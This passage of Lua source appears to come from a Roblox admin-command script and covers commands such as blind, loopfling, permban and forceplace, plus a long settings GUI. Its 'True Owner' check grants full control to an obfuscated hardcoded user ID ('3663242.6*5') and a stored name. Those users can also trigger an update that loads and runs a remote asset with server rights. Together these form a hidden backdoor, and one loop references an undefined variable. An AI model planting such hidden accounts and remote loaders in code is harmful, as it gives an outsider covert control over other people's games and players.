- if msg:lower():sub(1,6) == "blind " then
- if set['FilteringEnabled'] then return end
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
- local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUIBLIND"
- local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unblind " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUIBLIND" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "guifix " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "loopheal " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- if v then
- set.LoadScript('LocalScript',[[
- local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
- repeat wait()
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
- plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
- plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
- end
- end))
- until nil]],"LoopHeal:"..v.Name,true,v.PlayerGui)
- end
- end
- end
- if msg:lower():sub(1,11) == "unloopheal " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end
- end
- if msg:lower():sub(1,10) == "loopfling " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- if v then
- set.LoadScript('LocalScript',[[
- local plr = game.Players.LocalPlayer
- repeat
- coroutine.resume(coroutine.create(function()
- if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
- local xran local zran
- repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
- repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
- plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
- end
- end))
- wait(2) until nil]],"LoopFling:"..v.Name,true)
- end
- end
- end
- if msg:lower():sub(1,12) == "unloopfling " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(13))
- for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end
- end
- end
- -------------------------
- -- True Owner Commands --
- -------------------------
- if (set.ChkOwner(plr.Name) and set['OwnersAreTrueOwners']) or plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.userId == game.CreatorId then
- if msg:lower():sub(1,11) == "forceplace " then
- local chk1 = msg:lower():sub(12):find(" ") + 11
- local plrz = set.GetPlayers(plr, msg:lower():sub(12,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- game:GetService('TeleportService'):Teleport(msg:sub(chk1+1),v)
- end))
- end
- end
- if msg:lower()=='%updatepan%' then
- local m=Instance.new('Message',workspace)
- m.Text="Updating PancakeAttacks Admin Commands [MANUAL MODE]"
- local mo=game:GetService('InsertService'):LoadAsset(149223415)
- local news=mo:FindFirstChild("PancakeAttacks Admin Commands")
- _G["Pancake Update"]={}
- local update = _G["Pancake Update"]
- for number,setting in pairs(ThingsToUpdate) do
- if set[setting] then update[setting]=set[setting] end
- end
- news.Parent=game:service('ServerScriptService')
- mo:Destroy()
- wait(1)
- m.Text='Breaking old version and respawning players...'
- wait(1)
- m:Destroy()
- set=nil
- RemoteEvent:Destroy()
- script.Parent=nil
- script.Disabled=true
- script:Destroy()
- for i,v in pairs(game.Players:GetPlayers()) do
- v:LoadCharacter()
- end
- error('Breaking Old Version')
- end
- if msg:lower():sub(1,8) == "permban " then
- if set['FilteringEnabled'] then return end
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not set.ChkAdmin(v.Name, false) then
- local scr=Instance.new("ScreenGui",plr.PlayerGui)
- scr.Name = GuiName.."PERMBANGUI"
- local frame=Instance.new('Frame',scr)
- local label=Instance.new('TextLabel',frame)
- local yes=Instance.new('TextButton',frame)
- local no=Instance.new('TextButton',frame)
- frame.BackgroundColor3=set['PrimaryColor']
- frame.BorderColor3=Color3.new(1,1,1)
- frame.BackgroundTransparency=set['Transparency']
- frame.BorderSizePixel=2
- frame.Position=UDim2.new(1,-500,1,-300)
- frame.Size=UDim2.new(0,260,0,130)
- frame.ClipsDescendants=true
- label.BackgroundTransparency=1
- label.BorderSizePixel=0
- label.Position=UDim2.new(0,5,0,8)
- label.Size=UDim2.new(0,250,0,30)
- label.TextColor3=set['TextColor']
- label.ClipsDescendants=false
- label.TextWrapped=true
- label.TextScaled=true
- label.FontSize='Size14'
- label.Font='ArialBold'
- label.TextXAlignment='Center'
- label.TextYAlignment='Center'
- label.Text='Permanently ban '..v.Name..'?'
- frame.Draggable=true
- frame.Active=true
- label.Draggable=false
- yes.BackgroundColor3=Color3.new(0, 170, 0)
- yes.TextColor3=Color3.new(1,1,1)
- yes.Text='Yes'
- yes.Font='ArialBold'
- yes.FontSize='Size36'
- no.Font='ArialBold'
- no.FontSize='Size36'
- no.BackgroundColor3=Color3.new(170, 0, 0)
- no.TextColor3=Color3.new(1,1,1)
- no.Text='No'
- yes.Size=UDim2.new(0,100,0,50)
- yes.Position=UDim2.new(0,20,0,50)
- no.Size=UDim2.new(0,100,0,50)
- no.Position=UDim2.new(0,140,0,50)
- yes.MouseButton1Down:connect(function()
- v:SaveBoolean(set['PermBanKey'],true)
- v:Kick()
- scr:Destroy()
- end)
- no.MouseButton1Down:connect(function()
- scr:Destroy()
- end)
- end
- end))
- end
- end
- if msg:lower():sub(1,3) == "oa " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and not set.ChkOwner(v.Name) then table.insert(set['Owners'], v.Name)
- coroutine.resume(coroutine.create(function()
- repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
- set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v})
- end))
- set.Hint(v.Name..' Has Been Given Owner Admin',{plr})
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unoa " then
- for i = 1, #set['Owners'] do
- coroutine.resume(coroutine.create(function()
- if msg:lower():sub(6) == "all" or set['Owners'][i]:lower():find(msg:lower():sub(6)) == 1 then
- set.Hint(set['Owners'][i]..' No Longer Has Owner Admin',{plr})
- table.remove(set['Owners'], i)
- end
- end))
- end
- end
- if msg:lower() == "settings" then
- if plr.PlayerGui:findFirstChild(GuiName.."SETTINGSGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."SETTINGSGUI" scr.Parent = plr.PlayerGui
- top.Text='Settings'
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Prefix: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
- tb.BorderColor3 = set['SecondaryColor']
- tb.TextColor3 = set['TextColor']
- tb.Font = "Arial"
- tb.Text = set['prefix']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = set['TextStrokeColor']
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tb.Text ~= set['prefix'] then
- set['prefix'] = tb.Text
- end
- end)
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Special Prefix: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
- tb.BorderColor3 = set['SecondaryColor']
- tb.TextColor3 = set['TextColor']
- tb.Font = "Arial"
- tb.Text = set['sprefix']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = set['TextStrokeColor']
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tb.Text ~= set['prefix'] and tb.Text ~= "" then
- set['sprefix'] = tb.Text
- end
- end)
- num = num +1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Fun Commands: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['FunCommands'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['FunCommands'] then set['FunCommands'] = false
- cb.Text = ""
- else
- set['FunCommands'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Player Commands: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['PlayerCommands'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['PlayerCommands'] then set['PlayerCommands'] = false
- cb.Text = ""
- else
- set['PlayerCommands'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Owners Are True Owners: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['OwnersAreTrueOwners'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['OwnersAreTrueOwners'] then set['OwnersAreTrueOwners'] = false
- cb.Text = ""
- else
- set['OwnersAreTrueOwners'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Help System: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['HelpSystem'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['HelpSystem'] then set['HelpSystem'] = false
- cb.Text = ""
- else
- set['HelpSystem'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'PM Usable By Everyone: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['PMUsableByAnyone'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['PMUsableByAnyone'] then set['PMUsableByAnyone'] = false
- cb.Text = ""
- else
- set['PMUsableByAnyone'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-Exploit: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiExploit'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiExploit'] then set['AntiExploit'] = false
- cb.Text = ""
- else
- set['AntiExploit'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-Gui: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiGui'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiGui'] then set['AntiGui'] = false
- cb.Text = ""
- else
- set['AntiGui'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-Nil: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiNil'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiNil'] then set['AntiNil'] = false
- cb.Text = ""
- else
- set['AntiNil'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-Speed: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiSpeed'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiSpeed'] then set['AntiSpeed'] = false
- cb.Text = ""
- else
- set['AntiSpeed'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-Noclip: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiNoclip'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiNoclip'] then set['AntiNoclip'] = false
- cb.Text = ""
- else
- set['AntiNoclip'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-RobloxLocked: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiRobloxLocked'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiRobloxLocked'] then set['AntiRobloxLocked'] = false
- cb.Text = ""
- else
- set['AntiRobloxLocked'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-Animations: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = set['SecondaryColor']
- cb.TextColor3 = set['TextColor']
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = set['TextStrokeColor']
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiAnimation'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiAnimation'] then set['AntiAnimation'] = false
- cb.Text = ""
- else
- set['AntiAnimation'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Anti-New Account: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AntiNewAccount'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AntiNewAccount'] then set['AntiNewAccount'] = false
- cb.Text = ""
- else
- set['AntiNewAccount'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Minimum Age: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
- tb.BorderColor3 = Color3.new(1,1,1)
- tb.TextColor3 = Color3.new(1,1,1)
- tb.Font = "Arial"
- tb.Text = set['MinimumAge']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = Color3.new(1,1,1)
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tonumber(tb.Text) ~= set['MinimumAge'] and tb.Text ~= "" then
- set['MinimumAge'] = tonumber(tb.Text)
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Join Message: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['JoinMessage'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['JoinMessage'] then set['JoinMessage'] = false
- cb.Text = ""
- else
- set['JoinMessage'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Chat Logs: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['ChatLog'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['ChatLog'] then set['ChatLog'] = false
- cb.Text = ""
- else
- set['ChatLog'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Max Number Of Logs: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
- tb.BorderColor3 = Color3.new(1,1,1)
- tb.TextColor3 = Color3.new(1,1,1)
- tb.Font = "Arial"
- tb.Text = set['MaxNumberOfLogs']
- tb.FontSize = "Size18"
- tb.TextStrokeColor3 = Color3.new(1,1,1)
- tb.TextStrokeTransparency = .9
- tb.TextYAlignment = "Top"
- tb.ClipsDescendants = true
- tb.ZIndex = 8
- tb.TextWrapped=true
- tb.TextScaled=true
- tb.Changed:connect(function()
- if tonumber(tb.Text) ~= set['MaxNumberOfLogs'] and tb.Text ~= "" then
- set['MaxNumberOfLogs'] = tonumber(tb.Text)
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Auto-Clean: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local cb = Instance.new("TextButton", cl)
- cb.Position = UDim2.new(0,335,0,0)
- cb.Size = UDim2.new(0,30,0,15)
- cb.BackgroundTransparency = .8
- cb.BorderSizePixel = 1
- cb.BorderColor3 = Color3.new(1,1,1)
- cb.TextColor3 = Color3.new(1,1,1)
- cb.Font = "Arial"
- cb.FontSize = "Size18"
- cb.TextStrokeColor3 = Color3.new(1,1,1)
- cb.TextStrokeTransparency = .9
- cb.TextYAlignment = "Top"
- cb.ZIndex = 8
- cb.TextWrapped=true
- cb.TextScaled=true
- if set['AutoClean'] then cb.Text = "X" else cb.Text = "" end
- cb.MouseButton1Down:connect(function()
- if set['AutoClean'] then set['AutoClean'] = false
- cb.Text = ""
- else
- set['AutoClean'] = true
- cb.Text = "X"
- end
- end)
- num=num+1
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = 'Auto-Clean Delay: '
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,370,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- local tb = Instance.new("TextBox", cl)
- tb.Position = UDim2.new(0,335,0,0)
- tb.Size = UDim2.new(0,30,0,15)
- tb.BackgroundTransparency = .8
- tb.BorderSizePixel = 1
